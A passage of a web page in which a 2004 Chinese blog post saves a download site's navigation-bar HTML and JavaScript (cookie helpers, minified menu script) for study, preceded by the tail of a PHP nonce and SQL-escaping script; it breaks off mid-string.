staff quoting the following text (copy and paste it if necessary): </p> <pre><samp><?php echo htmlspecialchars($_SERVER['HTTP_USER_AGENT'])?></samp></pre> <?php if($details != '') { echo '<p><samp>'.htmlspecialchars($details).'</samp></p>'; } die(); } function nonceOptions() { // Return acceptable nonce values $time = time(); return array( md5(date('Y-m-d H:i',$time).':'.$_SERVER['HTTP_USER_AGENT'].':'.NONCEKEY), md5(date('Y-m-d H:i',$time-60).':'.$_SERVER['HTTP_USER_AGENT'].':'.NONCEKEY), md5(date('Y-m-d H:i',$time-120).':'.$_SERVER['HTTP_USER_AGENT'].':'.NONCEKEY) ); } }
function sqlEscape($text) { if(get_magic_quotes_gpc()) { return $text; } else { return addslashes($text); } }
function sqlUnescape($text) { if(get_magic_quotes_gpc()) { return stripslashes($text); } else { return $text; } } ?>
shelly 发表于
2004-07-01 14:43:53
查找MFC42U.DLL 文件时,无意中发现下面的网站,发现其导航栏有些特色,特DOWN下来,供以后研究.
呵呵,网页头也有些特色--全.
http://www.topdownloads.net/software/view.php?id=9779
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Microsoft Libraries Update</title>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> <meta http-equiv="content-language" content="en"> <meta name="rating" content="general"> <meta name="distribution" content="global"> <meta name="description" content="Msvcrt.dll, Oleaut32.dll, Olepro32.dll, Asycfilt.dll, Stdole2.tlb, Mfc42.dll, Mfc42u.dll, Regsvr32.exe, RegTlib.exe For All Windows"> <meta name="keywords" content="Microsoft Libraries Update by Microsoft"> <meta name="robots" content="all"> <meta name="revisit-after" content="7"> <meta name="author" content="Leo van Opstal"> <meta name="copyright" content="Topdownloads">
<script type="text/javascript" language="JavaScript" src="/includes/javascripts.js"></script> <link rel="stylesheet" type="text/css" href="/includes/page-style.css"> <script language="JavaScript" type="text/javascript"> var navVer = navigator.appVersion; if(navVer.substr(0,3) >= 4) if((navigator.appName=="Netscape") && (parseInt(navigator.appVersion)==4)) document.write('<'+'script language="JavaScript" type="text/javascript" src="/Menu/nsmenu.js"><\/script\>'); else document.write('<'+'script language="JavaScript" type="text/javascript" src="/Menu/iemenu.js"><\/script\>'); </script>
JavaScript.js
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ //
function openWindow(url,width,height,settings) {
startDate= new Date(); if (settings == 0) { tb = loc = rs = sts = scr = mn = "no"; } else if (settings == 2) { tb = loc = rs = sts = scr = mn = "yes"; } else { tb = loc = "no"; rs = sts = scr = mn = "yes"; }
newWindow = window.open(url,startDate.getTime(),'toolbar='+tb+',location='+loc+',resizable='+rs+',status='+sts+',scrollbars='+scr+',menubar='+mn+',width='+width+',height='+height); }
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ //
function decodeCookie(cookie) {
var item = new Object(); var currentCookies = cookie.split("||");
for (var i=0; i < currentCookies.length ; i++ ) { if (currentCookies[i].indexOf('::') > -1) { keyValuePair = currentCookies[i].split("::"); item[keyValuePair[0]] = keyValuePair[1]; } } return item; }
function getCookie(name) {
var cookieName = name + "=";
var i = 0; while (i < document.cookie.length) { var j = i + cookieName.length; if (document.cookie.substring(i, j) == cookieName) { var leng = document.cookie.indexOf (";", j); if (leng == -1) { leng = document.cookie.length; } return unescape(document.cookie.substring(j, leng)); } i = document.cookie.indexOf(" ", i) + 1; if (i == 0) { break; } } return ""; }
function delCookie(cookieName) { document.cookie = cookieName + "=; expires= Thu, 01-Jan-70 00:00:01 GMT"; document.cookie = cookieName + "=; expires= Thu, 01-Jan-70 00:00:01 GMT; path=/"; return true; }
function setCookie(name, contents) { document.cookie = name + "= " + escape(contents) + "; expires=Mon, 01-Jan-2010 00:00:01 GMT; path=/"; return true; }
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ //
function toggleMenu(key) {
// currently being displayed -> close now; if (key.style.display == '') { MENU_DOWNLOADS.style.display = 'none'; MENU_DIRECTORY.style.display = 'none'; MENU_ECARDS.style.display = 'none'; MENU_PERSONAL.style.display = 'none'; MENU_MISCELLANEOUS.style.display = 'none'; } else { MENU_DOWNLOADS.style.display = 'none'; MENU_DIRECTORY.style.display = 'none'; MENU_ECARDS.style.display = 'none'; MENU_PERSONAL.style.display = 'none'; MENU_MISCELLANEOUS.style.display = 'none'; key.style.display = ''; } }
NsMenu.js
var nS=new Array;var hS=new Array;var nL=new Array;var hL=new Array;var nTCode=new Array;var AnimStep=0;var AnimHnd=0;var HTHnd=new Array;var DoFormsTweak=true;var MenusReady=false;var SelSndId=0;var nsOW;var nsOH;var mFrame;var cFrame;var OpenMenus=new Array;var nOM=0;var mX;var mY;var HideSpeed=300;var TimerHideDelay=2000;var TimerHideHnd=0;var IsOverHS=false;var cntxMenu='Menu';var IsContext=false;var IsFrames=false;var BV=parseInt(navigator.appVersion.indexOf("MSIE")>0?navigator.appVersion.split(";")[1].substr(6):navigator.appVersion);var BN=navigator.appName;var IsWin=(navigator.userAgent.indexOf('Win')!=-1);var IsMac=(navigator.userAgent.indexOf('Mac')!=-1);var OP=(navigator.userAgent.indexOf('Opera')!=-1&&BV>=4)?true:false;var NS=(BN.indexOf('Netscape')!=-1&&(BV==4)&&!OP)?true:false;var SM=(BN.indexOf('Netscape')!=-1&&(BV>=5)||OP)?true:false;var IE=(BN.indexOf('Explorer')!=-1&&(BV>=4)||SM)?true:false;if(!eval(frames['self'])) {frames.self=window;frames.top=top;}cFrame=eval(frames['self']);var fx=1;var tbUseToolbar=true;var tbBorder=3;var tbSpacing=8;var tbStyle=0;var tbAlignment=1;var tbSpanning=1;var tbFollowHScroll=true;var tbFollowVScroll=true;var tbMargins=[0,0];var tbFPos=[0,0];var lmcHS=null;var tbHS=new Array;var tbWidth=743;var tbHeight=28;var hsnS=new Array;var hshS=new Array;var hsnL=new Array;var hshL=new Array;tbHS[1]=[56,22];tbHS[2]=[68,22];tbHS[3]=[62,22];tbHS[4]=[95,22];tbHS[5]=[76,22];tbHS[6]=[104,22];tbHS[7]=[83,22];tbHS[8]=[54,22];tbHS[9]=[51,22];hsnS[1001]="font-family: ;font-size:1$;font-weight:none;font-style:none;text-decoration:none;color:#FFFFFF;background-color:#266696;cursor:default";hshS[1001]="font-family: ;font-size:1$;font-weight:none;font-style:none;text-decoration:none;color:#266696;background-color:#B5BED6;cursor:default";var MenuLImgOff=new Image;var MenuLImgOn=new Image;MenuLImgOff.src='/Menu/home.gif';MenuLImgOn.src='/Menu/home.gif';hsnS[1002]="font-family: ;font-size:1$;font-weight:none;font-style:none;text-decoration:none;color:#FFFFFF;background-color:#266696;cursor:default";hshS[1002]="font-family: ;font-size:1$;font-weight:none;font-style:none;text-decoration:none;color:#266696;background-color:#B5BED6;cursor:default";var SupportLImgOff=new Image;var SupportLImgOn=new Image;SupportLImgOff.src='/Menu/forum.gif';SupportLImgOn.src='/Menu/forum.gif';hsnS[1003]="font-family: ;font-size:1$;font-weight:none;font-style:none;text-decoration:none;color:#FFFFFF;background-color:#266696;cursor:default";hshS[1003]="font-family: ;font-size:1$;font-weight:none;font-style:none;text-decoration:none;color:#266696;background-color:#B5BED6;cursor:default";var GamesLImgOff=new Image;var GamesLImgOn=new Image;GamesLImgOff.src='/Menu/cars.gif';GamesLImgOn.src='/Menu/cars.gif';hsnS[1004]="font-family: ;font-size:1$;font-weight:none;font-style:none;text-decoration:none;color:#FFFFFF;background-color:#266696;cursor:default";hshS[1004]="font-family: ;font-size:1$;font-weight:none;font-style:none;text-decoration:none;color:#266696;background-color:#B5BED6;cursor:default";var ScreensaversLImgOff=new Image;var ScreensaversLImgOn=new Image;ScreensaversLImgOff.src='/Menu/previewit.gif';ScreensaversLImgOn.src='/Menu/previewit.gif';hsnS[1005]="font-family: ;font-size:1$;font-weight:none;font-style:none;text-decoration:none;color:#FFFFFF;background-color:#266696;cursor:default";hshS[1005]="font-family: ;font-size:1$;font-weight:none;font-style:none;text-decoration:none;color:#266696;background-color:#B5BED6;cursor:default";var SoftwareLImgOff=new Image;var SoftwareLImgOn=new Image;SoftwareLImgOff.src='/Menu/win_plus.gif';SoftwareLImgOn.src='/Menu/win_plus.gif';hsnS[1006]="font-family: ;font-size:1$;font-weight:none;font-style:none;text-decoration:none;color:#FFFFFF;background-color:#266696;cursor:default";hshS[1006]="font-family: ;font-size:1$;font-weight:none;font-style:none;text-decoration:none;color:#266696;background-color:#B5BED6;cursor:default";var DesktopthemesLImgOff=new Image;var DesktopthemesLImgOn=new Image;DesktopthemesLImgOff.src='/Menu/Outdoors.gif';DesktopthemesLImgOn.src='/Menu/Outdoors.gif';hsnS[1007]="font-family: ;font-size:1$;font-weight:none;font-style:none;text-decoration:none;color:#FFFFFF;background-color:#266696;cursor:default";hshS[1007]="font-family: ;font-size:1$;font-weight:none;font-style:none;text-decoration:none;color:#266696;background-color:#B5BED6;cursor:default";var WallpapersLImgOff=new Image;var WallpapersLImgOn=new Image;WallpapersLImgOff.src='/Menu/art.gif';WallpapersLImgOn.src='/Menu/art.gif';hsnS[1008]="font-family: ;font-size:1$;font-weight:none;font-style:none;text-decoration:none;color:#FFFFFF;background-color:#266696;cursor:default";hshS[1008]="font-family: ;font-size:1$;font-weight:none;font-style:none;text-decoration:none;color:#266696;background-color:#B5BED6;cursor:default";var SkinsLImgOff=new Image;var SkinsLImgOn=new Image;SkinsLImgOff.src='/Menu/puk.gif';SkinsLImgOn.src='/Menu/puk.gif';hsnS[1009]="font-family: ;font-size:1$;font-weight:none;font-style:none;text-decoration:none;color:#FFFFFF;background-color:#266696;cursor:default";hshS[1009]="font-family: ;font-size:1$;font-weight:none;font-style:none;text-decoration:none;color:#266696;background-color:#B5BED6;cursor:default";var HelpLImgOff=new Image;var HelpLImgOn=new Image;HelpLImgOff.src='/Menu/support01.gif';HelpLImgOn.src='/Menu/support01.gif';hsnL[1001]="23 8FFFFFF11541600MenuLImg/Menu/home.gif\"1616220>Menu</layer></font></ilayer>";hshL[1001]="23 826669611541600MenuLImg/Menu/home.gif\"1616220>Menu</layer></font></ilayer>";var MenuLImgOff=new Image;var MenuLImgOn=new Image;MenuLImgOff.src='/Menu/home.gif';MenuLImgOn.src='/Menu/home.gif';hsnL[1002]="23 8FFFFFF11661600SupportLImg/Menu/forum.gif\"1616220>Support</layer></font></ilayer>";hshL[1002]="23 826669611661600SupportLImg/Menu/forum.gif\"1616220>Support</layer></font></ilayer>";var SupportLImgOff=new Image;var SupportLImgOn=new Image;SupportLImgOff.src='/Menu/forum.gif';SupportLImgOn.src='/Menu/forum.gif';hsnL[1003]="23 8FFFFFF11601600GamesLImg/Menu/cars.gif\"1616220>Games</layer></font></ilayer>";hshL[1003]="23 826669611601600GamesLImg/Menu/cars.gif\"1616220>Games</layer></font></ilayer>";var GamesLImgOff=new Image;var GamesLImgOn=new Image;GamesLImgOff.src='/Menu/cars.gif';GamesLImgOn.src='/Menu/cars.gif';hsnL[1004]="23 8FFFFFF11931600ScreensaversLImg/Menu/previewit.gif\"1616220>Screensavers</layer></font></ilayer>";hshL[1004]="23 826669611931600ScreensaversLImg/Menu/previewit.gif\"1616220>Screensavers</layer></font></ilayer>";var ScreensaversLImgOff=new Image;var ScreensaversLImgOn=new Image;ScreensaversLImgOff.src='/Menu/previewit.gif';ScreensaversLImgOn.src='/Menu/previewit.gif';hsnL[1005]="23 8FFFFFF11741620SoftwareLImg/Menu/win_plus.gif\"1813222>Software</layer></font></ilayer>";hshL[1005]="23 826669611741620SoftwareLImg/Menu/win_plus.gif\"1813222>Software</layer></font></ilayer>";var SoftwareLImgOff=new Image;var SoftwareLImgOn=new Image;SoftwareLImgOff.src='/Menu/win_plus.gif';SoftwareLImgOn.src='/Menu/win_plus.gif';hsnL[1006]="23 8FFFFFF111021600DesktopthemesLImg/Menu/Outdoors.gif\"1616220>Desktopthemes</layer></font></ilayer>";hshL[1006]="23 8266696111021600DesktopthemesLImg/Menu/Outdoors.gif\"1616220>Desktopthemes</layer></font></ilayer>";var DesktopthemesLImgOff=new Image;var DesktopthemesLImgOn=new Image;DesktopthemesLImgOff.src='/Menu/Outdoors.gif';DesktopthemesLImgOn.src='/Menu/Outdoors.gif';hsnL[1007]="23 8FFFFFF11811600WallpapersLImg/Menu/art.gif\"1616220>Wallpapers</layer></font></ilayer>";hshL[1007]="23 826669611811600WallpapersLImg/Menu/art.gif\"1616220>Wallpapers</layer></font></ilayer>";var WallpapersLImgOff=new Image;var WallpapersLImgOn=new Image;WallpapersLImgOff.src='/Menu/art.gif';WallpapersLImgOn.src='/Menu/art.gif';hsnL[1008]="23 8FFFFFF11521600SkinsLImg/Menu/puk.gif\"1616220>Skins</layer></font></ilayer>";hshL[1008]="23 826669611521600SkinsLImg/Menu/puk.gif\"1616220>Skins</layer></font></ilayer>";var SkinsLImgOff=new Image;var SkinsLImgOn=new Image;SkinsLImgOff.src='/Menu/puk.gif';SkinsLImgOn.src='/Menu/puk.gif';hsnL[1009]="23 8FFFFFF11491600HelpLImg/Menu/support01.gif\"1616220>Help</layer></font></ilayer>";hshL[1009]="23 826669611491600HelpLImg/Menu/support01.gif\"1616220>Help</layer></font></ilayer>";var HelpLImgOff=new Image;var HelpLImgOn=new Image;HelpLImgOff.src='/Menu/support01.gif';HelpLImgOn.src='/Menu/support01.gif';if(IE) with(document) {open();write(Expand("<div id=dmbTBBack style=\"position:absolute;visibility:hidden;width:100%;height:28px;background:#266696;\"></div><div id=dmbTB style=\"position:absolute;visibility:hidden;width:743px;height:2&;\"><div id=1001 style=\"position:absolute;left:3px;top:3px;width:56px;height:2&;font-family: ;font-size:1$;font-weight:none;font-style:none;text-decoration:none;color:#FFFFFF;background-color:#266696;cursor:default\" OnMouseOver=\"cFrame.hsHoverSel(0,\'MenuLImg\',\'_\',this);status=\'group2\';cFrame.ShowMenu(\'Menu\',GetHSPos(1,0,119,208)[0],GetHSPos(1,0,119,208)[1],false);\" OnMouseOut=\"cFrame.tHideAll();\"\"><span style=\"position:absolute;left:3px;top:3px;width:50px;height:18px;\"><span style=\"position:absolute;top:$;left:0px;\"MenuLImg/Menu/home.gif\"1616></span><span style=\"position:absolute;top:&;left:2&;\">Menu</span></span></div><div id=1002 style=\"position:absolute;left:70px;top:3px;width:68px;height:2&;font-family: ;font-size:1$;font-weight:none;font-style:none;text-decoration:none;color:#FFFFFF;background-color:#266696;cursor:default\" OnMouseOver=\"cFrame.hsHoverSel(0,\'SupportLImg\',\'_\',this);status=\'group2\';cFrame.ShowMenu(\'Support\',GetHSPos(2,0,90,52)[0],GetHSPos(2,0,90,52)[1],false);\" OnMouseOut=\"cFrame.tHideAll();\"\"><span style=\"position:absolute;left:3px;top:3px;width:6&;height:18px;\"><span style=\"position:absolute;top:$;left:0px;\"SupportLImg/Menu/forum.gif\"1616></span><span style=\"position:absolute;top:&;left:2&;\">Support</span></span></div><div id=1003 style=\"position:absolute;left:149px;top:3px;width:6&;height:2&;font-family: ;font-size:1$;font-weight:none;font-style:none;text-decoration:none;color:#FFFFFF;background-color:#266696;cursor:default\" OnMouseOver=\"cFrame.hsHoverSel(0,\'GamesLImg\',\'_\',this);status=\'group1\';cFrame.ShowMenu(\'Games\',GetHSPos(3,0,87,54)[0],GetHSPos(3,0,87,54)[1],false);\" OnMouseOut=\"cFrame.tHideAll();\"\"><span style=\"position:absolute;left:3px;top:3px;width:56px;height:18px;\"><span style=\"position:absolute;top:$;left:0px;\"GamesLImg/Menu/cars.gif\"1616></span><span style=\"position:absolute;top:&;left:2&;\">Games</span></span></div><div id=1004 style=\"position:absolute;left:22&;top:3px;width:95px;height:2&;font-family: ;font-size:1$;font-weight:none;font-style:none;text-decoration:none;color:#FFFFFF;background-color:#266696;cursor:default\" OnMouseOver=\"cFrame.hsHoverSel(0,\'ScreensaversLImg\',\'_\',this);status=\'group1\';cFrame.ShowMenu(\'Screensavers\',GetHSPos(4,0,120,131)[0],GetHSPos(4,0,120,131)[1],false);\" OnMouseOut=\"cFrame.tHideAll();\"\"><span style=\"position:absolute;left:3px;top:3px;width:89px;height:18px;\"><span style=\"position:absolute;top:$;left:0px;\"ScreensaversLImg/Menu/previewit.gif\"1616></span><span style=\"position:absolute;top:&;left:2&;\">Screensavers</span></span></div><div id=1005 style=\"position:absolute;left:328px;top:3px;width:76px;height:2&;font-family: ;font-size:1$;font-weight:none;font-style:none;text-decoration:none;color:#FFFFFF;background-color:#266696;cursor:default\" OnMouseOver=\"cFrame.hsHoverSel(0,\'SoftwareLImg\',\'_\',this);status=\'group1\';cFrame.ShowMenu(\'Software\',GetHSPos(5,0,99,76)[0],GetHSPos(5,0,99,76)[1],false);\" OnMouseOut=\"cFrame.tHideAll();\"\"><span style=\"position:absolute;left:3px;top:3px;width:70px;height:18px;\"><span style=\"position:absolute;top:&;left:0px;\"SoftwareLImg/Menu/win_plus.gif\"1813></span><span style=\"position:absolute;top:&;left:24px;\">Software</span></span></div><div id=1006 style=\"position:absolute;left:415px;top:3px;width:104px;height:2&;font-family: ;font-size:1$;font-weight:none;font-style:none;text-decoration:none;color:#FFFFFF;background-color:#266696;cursor:default\" OnMouseOver=\"cFrame.hsHoverSel(0,\'DesktopthemesLImg\',\'_\',this);status=\'group1\';cFrame.ShowMenu(\'Desktopthemes\',GetHSPos(6,0,118,119)[0],GetHSPos(6,0,118,119)[1],false);\" OnMouseOut=\"cFrame.tHideAll();\"\"><span style=\"position:absolute;left:3px;top:3px;width:98px;height:18px;\"><span style=\"position:absolute;top:$;left:0px;\"DesktopthemesLImg/Menu/Outdoors.gif\"1616></span><span style=\"position:absolute;top:&;left:2&;\">Desktopthemes</span></span></div><div id=1007 style=\"position:absolute;left:530px;top:3px;width:83px;height:2&;font-family: ;font-size:1$;font-weight:none;font-style:none;text-decoration:none;color:#FFFFFF;background-color:#266696;cursor:default\" OnMouseOver=\"cFrame.hsHoverSel(0,\'WallpapersLImg\',\'_\',this);status=\'group1\';cFrame.ShowMenu(\'Wallpapers\',GetHSPos(7,0,97,76)[0],GetHSPos(7,0,97,76)[1],false);\" OnMouseOut=\"cFrame.tHideAll();\"\"><span style=\"position:absolute;left:3px;top:3px;width:77px;height:18px;\"><span style=\"position:absolute;top:$;left:0px;\"WallpapersLImg/Menu/art.gif\"1616></span><span style=\"position:absolute;top:&;left:2&;\">Wallpapers</span></span></div><div id=1008 style=\"position:absolute;left:624px;top:3px;width:54px;height:2&;font-family: ;font-size:1$;font-weight:none;font-style:none;text-decoration:none;color:#FFFFFF;background-color:#266696;cursor:default\" OnMouseOver=\"cFrame.hsHoverSel(0,\'SkinsLImg\',\'_\',this);status=\'group2\';cFrame.ShowMenu(\'Skins\',GetHSPos(8,0,117,179)[0],GetHSPos(8,0,117,179)[1],false);\" OnMouseOut=\"cFrame.tHideAll();\"\"><span style=\"position:absolute;left:3px;top:3px;width:48px;height:18px;\"><span style=\"position:absolute;top:$;left:0px;\"SkinsLImg/Menu/puk.gif\"1616></span><span style=\"position:absolute;top:&;left:2&;\">Skins</span></span></div><div id=1009 style=\"position:absolute;left:689px;top:3px;width:5$;height:2&;font-family: ;font-size:1$;font-weight:none;font-style:none;text-decoration:none;color:#FFFFFF;background-color:#266696;cursor:default\" OnMouseOver=\"cFrame.hsHoverSel(0,\'HelpLImg\',\'_\',this);status=\'group2\';cFrame.ShowMenu(\'Help\',GetHSPos(9,0,118,98)[0],GetHSPos(9,0,118,98)[1],false);\" OnMouseOut=\"cFrame.tHideAll();\"\"><span style=\"position:absolute;left:3px;top:3px;width:45px;height:18px;\"><span style=\"position:absolute;top:$;left:0px;\"HelpLImg/Menu/support01.gif\"1616></span><span style=\"position:absolute;top:&;left:2&;\">Help</span></span></div></div>"));close();}if(NS) with(document) {open();write(Expand("<layer name=dmbTBBack100%28 bgColor=#266696 z-index=98 name=dmbTB74322 z-index=99 visibility=hidden name=MC1001EH1001335622 z-index=101 OnMouseOver=\"cFrame.hsNSHoverSel(0,this,\'#B5BED6\');status=\'group2\';cFrame.ShowMenu(\'Menu\',GetHSPos(1,0,119,208)[0],GetHSPos(1,0,119,208)[1],false);\" OnMouseOut=\"cFrame.tHideAll();\"\" name=MC1001335622 z-index=100 bgColor=#266696 name=MC1002EH10027036822 z-index=101 OnMouseOver=\"cFrame.hsNSHoverSel(0,this,\'#B5BED6\');status=\'group2\';cFrame.ShowMenu(\'Support\',GetHSPos(2,0,90,52)[0],GetHSPos(2,0,90,52)[1],false);\" OnMouseOut=\"cFrame.tHideAll();\"\" name=MC10027036822 z-index=100 bgColor=#266696 name=MC1003EH100314936222 z-index=101 OnMouseOver=\"cFrame.hsNSHoverSel(0,this,\'#B5BED6\');status=\'group1\';cFrame.ShowMenu(\'Games\',GetHSPos(3,0,87,54)[0],GetHSPos(3,0,87,54)[1],false);\" OnMouseOut=\"cFrame.tHideAll();\"\" name=MC100314936222 z-index=100 bgColor=#266696 name=MC1004EH100422239522 z-index=101 OnMouseOver=\"cFrame.hsNSHoverSel(0,this,\'#B5BED6\');status=\'group1\';cFrame.ShowMenu(\'Screensavers\',GetHSPos(4,0,120,131)[0],GetHSPos(4,0,120,131)[1],false);\" OnMouseOut=\"cFrame.tHideAll();\"\" name=MC100422239522 z-index=100 bgColor=#266696 name=MC1005EH100532837622 z-index=101 OnMouseOver=\"cFrame.hsNSHoverSel(0,this,\'#B5BED6\');status=\'group1\';cFrame.ShowMenu(\'Software\',GetHSPos(5,0,99,76)[0],GetHSPos(5,0,99,76)[1],false);\" OnMouseOut=\"cFrame.tHideAll();\"\" name=MC100532837622 z-index=100 bgColor=#266696 name=MC1006EH1006415310422 z-index=101 OnMouseOver=\"cFrame.hsNSHoverSel(0,this,\'#B5BED6\');status=\'group1\';cFrame.ShowMenu(\'Desktopthemes\',GetHSPos(6,0,118,119)[0],GetHSPos(6,0,118,119)[1],false);\" OnMouseOut=\"cFrame.tHideAll();\"\" name=MC1006415310422 z-index=100 bgColor=#266696 name=MC1007EH100753038322 z-index=101 OnMouseOver=\"cFrame.hsNSHoverSel(0,this,\'#B5BED6\');status=\'group1\';cFrame.ShowMenu(\'Wallpapers\',GetHSPos(7,0,97,76)[0],GetHSPos(7,0,97,76)[1],false);\" OnMouseOut=\"cFrame.tHideAll();\"\" name=MC100753038322 z-index=100 bgColor=#266696 name=MC1008EH100862435422 z-index=101 OnMouseOver=\"cFrame.hsNSHoverSel(0,this,\'#B5BED6\');status=\'group2\';cFrame.ShowMenu(\'Skins\',GetHSPos(8,0,117,179)[0],GetHSPos(8,0,117,179)[1],false);\" OnMouseOut=\"cFrame.tHideAll();\"\" name=MC100862435422 z-index=100 bgColor=#266696 name=MC1009EH100968935122 z-index=101 OnMouseOver=\"cFrame.hsNSHoverSel(0,this,\'#B5BED6\');status=\'group2\';cFrame.ShowMenu(\'Help\',GetHSPos(9,0,118,98)[0],GetHSPos(9,0,118,98)[1],false);\" OnMouseOut=\"cFrame.tHideAll();\"\" name=MC100968935122 z-index=100 bgColor=#266696>"));close();}nTCode[1]="self]');";nL[1]="23 82666961110914-10AALI/Menu/home.gif\"1616020>Home</layer";hL[1]=nL[1];nTCode[2]="self]');";nL[2]="23 82666961110914-10ABLI/Menu/forum.gif\"1616020>Support-193ABRI/Menu/arrow_black.gif\"1616";hL[2]="23 82666961110914-10ABLI/Menu/forum.gif\"1616020>Support-193ABRI/Menu/arrow.gif\"1616";nTCode[3]="cFrame.ShowMenu('Games',1,0,true);";nL[3]="23 82666961110914-10ACLI/Menu/cars.gif\"1616020>Games-193ACRI/Menu/arrow_black.gif\"1616";hL[3]="23 82666961110914-10ACLI/Menu/cars.gif\"1616020>Games-193ACRI/Menu/arrow.gif\"1616";nTCode[4]=nTCode[2];nL[4]="23 82666961110914-10ADLI/Menu/previewit.gif\"1616020>Screensavers-193ADRI/Menu/arrow_black.gif\"1616";hL[4]="23 82666961110914-10ADLI/Menu/previewit.gif\"1616020>Screensavers-193ADRI/Menu/arrow.gif\"1616";nTCode[5]=nTCode[2];nL[5]="23 8266696111091400AELI/Menu/win_plus.gif\"1813022>Software-193AERI/Menu/arrow_black.gif\"1616";hL[5]="23 8266696111091400AELI/Menu/win_plus.gif\"1813022>Software-193AERI/Menu/arrow.gif\"1616";nTCode[6]=nTCode[2];nL[6]="23 82666961110914-10AFLI/Menu/movies.gif\"1616020>Themes-193AFRI/Menu/arrow_black.gif\"1616";hL[6]="23 82666961110914-10AFLI/Menu/movies.gif\"1616020>Themes-193AFRI/Menu/arrow.gif\"1616";nTCode[7]=nTCode[2];nL[7]="23 82666961110914-10AGLI/Menu/list.gif\"1616020>Wallpapers-193AGRI/Menu/arrow_black.gif\"1616";hL[7]="23 82666961110914-10AGLI/Menu/list.gif\"1616020>Wallpapers-193AGRI/Menu/arrow.gif\"1616";nTCode[8]="/sub/pc.phpself]');";nL[8]="23 82666961110914-10AHLI/Menu/puk.gif\"1616020>Skins-193AHRI/Menu/arrow_black.gif\"1616";hL[8]="23 82666961110914-10AHLI/Menu/puk.gif\"1616020>Skins-193AHRI/Menu/arrow.gif\"1616";nTCode[9]="/resources/feedback.phpself]');";nL[9]="23 82666961110914-10AILI/Menu/news2.gif\"1616020>Feedback</layer";hL[9]=nL[9];nTCode[10]="/forums.phpself]');";nL[10]="23 8266696118014-10AJLI/Menu/forum.gif\"1616020>Forums</layer";hL[10]=nL[10];nTCode[11]="/resources/feedback.phpself]');";nL[11]="23 8266696118012-10AKLI/Menu/users.gif\"1614020>Live Support</layer";hL[11]=nL[11];nTCode[12]="/games.phpself]');";nL[12]="23 8266696117714-10ALLI/Menu/cars.gif\"1616020>All Games</layer";hL[12]=nL[12];nTCode[13]="/games/index.phpself]');";nL[13]="23 8266696117714-10AMLI/Menu/t10s.gif\"2016024>Top Games</layer";hL[13]=nL[13];nTCode[14]="/screensavers.phpself]');";nL[14]="23 82666961111014-10ANLI/Menu/previewit.gif\"1616020>All Screensavers</layer";hL[14]=nL[14];nTCode[15]="/screensavers/index.phpself]');";nL[15]="23 82666961111014-10AOLI/Menu/t10s.gif\"2016024>Top Screensavers</layer";hL[15]=nL[15];nL[16]="|";hL[16]="|";nTCode[17]="http://topdownloads.ezthemes.com/pcenhance/ss/top10.phtml?blankself]');";nL[17]="23 82666961111013-10AQLI/Menu/icon10.gif\"1515019>Top Ten</layer";hL[17]=nL[17];nTCode[18]="http://topdownloads.ezthemes.com/pcenhance/ss/latest.phtml?blank+1self]');";nL[18]="23 82666961111013-10ARLI/Menu/select.gif\"1515019>New</layer";hL[18]=nL[18];nTCode[19]="http://topdownloads.ezthemes.com/pcenhance/ss/search.phtml?blankself]');";nL[19]="23 82666961111014-10ASLI/Menu/iBSearch.gif\"1616020>Search</layer";hL[19]=nL[19];nTCode[20]="/software.phpself]');";nL[20]="23 8266696118914-10ATLI/Menu/news2.gif\"1616020>All Software</layer";hL[20]=nL[20];nTCode[21]="/software/index.phpself]');";nL[21]="23 8266696118914-10AULI/Menu/t10s.gif\"2016024>Top Software</layer";hL[21]=nL[21];nTCode[22]=nTCode[21];nL[22]="23 8266696118914-10AVLI/Menu/list.gif\"1616020>New Software</layer";hL[22]=nL[22];nTCode[23]="/themes.phpself]');";nL[23]="23 82666961110814-10AWLI/Menu/previewit.gif\"1616020>All Desktopthemes</layer";hL[23]=nL[23];nTCode[24]="/themes/index.phpself]');";nL[24]="23 82666961110814-10AXLI/Menu/t10s.gif\"2016024>Top Themes</layer";hL[24]=nL[24];nTCode[25]="http://topdownloads.ezthemes.com/pcenhance/dt/latest.phtml?blank+1self]');";nL[25]="23 82666961110813-10AYLI/Menu/select.gif\"1515019>New Themes</layer";hL[25]=nL[25];nTCode[26]="http://topdownloads.ezthemes.com/pcenhance/dt/top10.phtml?blankself]');";nL[26]="23 82666961110814-10AZLI/Menu/t10s.gif\"2016024>Top Ten</layer";hL[26]=nL[26];nTCode[27]="http://topdownloads.ezthemes.com/pcenhance/dt/search.phtml?blankself]');";nL[27]="23 82666961110814-10BALI/Menu/iBSearch.gif\"1616020>Search Themes</layer";hL[27]=nL[27];nTCode[28]="http://wallpapers.org/self]');";nL[28]="23 8266696118714-10BBLI/Menu/art.gif\"1616020>All Wallpapers</layer";hL[28]=nL[28];nTCode[29]="http://www.topdownloadsnet.com/wallpapers/self]');";nL[29]="23 8266696118714-10BCLI/Menu/t10s.gif\"2016024>Top Ten</layer";hL[29]=nL[29];nTCode[30]="http://www.topdownloadsnet.com/services/search.phpself]');";nL[30]="23 8266696118714-10BDLI/Menu/iBSearch.gif\"1616020>Search</layer";hL[30]=nL[30];nTCode[31]="http://topdownloads.ezthemes.com/pcenhance/icq/main.phtmlself]');";nL[31]="23 80303031110714-10BELI/Menu/ICQs.gif\"1616020>ICQ Skins</layer";hL[31]="23 82666961110714-10BELI/Menu/ICQs.gif\"1616020>ICQ Skins</layer";nTCode[32]="http://topdownloads.ezthemes.com/pcenhance/icq/top10.phtml?blankself]');";nL[32]="23 80707071110714-10BFLI/Menu/t10s.gif\"2016024>Top 10 ICQs</layer";hL[32]="23 82666961110714-10BFLI/Menu/t10s.gif\"2016024>Top 10 ICQs</layer";nTCode[33]="http://topdownloads.ezthemes.com/pcenhance/wa/main.phtmlself]');";nL[33]="23 80707071110713-10BGLI/Menu/WinAmps.gif\"1615020>WinAmp Skins</layer";hL[33]="23 82666961110713-10BGLI/Menu/WinAmps.gif\"1615020>WinAmp Skins</layer";nTCode[34]="http://topdownloads.ezthemes.com/pcenhance/wa/top10.phtml?blankself]');";nL[34]="23 